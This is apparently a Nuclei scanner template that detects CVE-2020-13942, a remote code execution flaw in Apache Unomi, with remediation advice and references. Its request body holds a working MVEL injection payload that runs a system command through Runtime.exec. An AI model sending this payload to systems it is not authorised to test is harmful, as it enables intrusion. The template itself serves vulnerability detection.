id: CVE-2020-13942 info: name: Apache Unomi <1.5.2 - Remote Code Execution author: dwisiswant0 severity: critical description: | Apache Unomi allows conditions to use OGNL and MVEL scripting which offers the possibility to call static Java classes from the JDK that could execute code with the permission level of the running Java process. This vulnerability affects all versions of Apache Unomi prior to 1.5.2. remediation: Apache Unomi users should upgrade to 1.5.2 or later. reference: - https://securityboulevard.com/2020/11/apache-unomi-cve-2020-13942-rce-vulnerabilities-discovered/ - https://twitter.com/chybeta/status/1328912309440311297 - https://nvd.nist.gov/vuln/detail/CVE-2020-13942 - http://unomi.apache.org./security/cve-2020-13942.txt - https://lists.apache.org/thread.html/r4a8fa91836687eaca42b5420a778ca8c8fd3a3740e4cf4401acc9118@%3Cusers.unomi.apache.org%3E classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2020-13942 cwe-id: CWE-74,CWE-20 epss-score: 0.97521 epss-percentile: 0.99985 cpe: cpe:2.3:a:apache:unomi:*:*:*:*:*:*:*:* metadata: max-request: 1 vendor: apache product: unomi tags: cve,cve2020,apache,rce variables: id: "{{to_lower(rand_text_alpha(5))}}" http: - method: POST path: - "{{BaseURL}}/context.json" body: | { "filters": [ { "id": "{{id}}", "filters": [ { "condition": { "parameterValues": { "nuclei": "script::Runtime.getRuntime().exec('id')" }, "type": "profilePropertyCondition" } } ] } ], "sessionId": "nuclei" } headers: Content-Type: "application/json" matchers-condition: and matchers: - type: word part: header words: - "application/json" - "context-profile-id" condition: and - type: regex part: body regex: - "(profile|session)(Id|Properties|Segments)" - "[a-f0-9]{8}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{12}" condition: and - type: status status: - 200